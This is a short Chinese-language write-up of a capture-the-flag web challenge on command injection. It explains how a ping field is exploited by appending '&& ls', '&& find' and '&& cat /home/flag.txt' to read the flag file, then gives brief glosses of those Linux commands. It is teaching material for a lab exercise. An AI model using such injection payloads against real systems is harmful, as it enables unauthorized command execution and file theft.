攻防世界 web command_execution 【命令执行】

 看到ping 就想到了命令执行 ，“请输入需要的ping地址”，就输入本机地址 127.0.0.1

然后输入 ls命令：127.0.0.1 && ls  找出当前目录

 发现可以找到当前目录

然后再找.txt 后缀的文件，输入 127.0.0.1 && find -name ".txt" 

 找到了flag.txt ，接下来就是访问 flag.txt       输入  127.0.0.1 && cat /home/flag.txt   得到flag

 

Linux ls（英文全拼：list files）命令用于显示指定工作目录下之内容（列出目前工作目录所含之文件及子目录)

Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时，不设置任何参数，则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示

Linux cat（英文全拼：concatenate）命令用于连接文件并打印到标准输出设备上。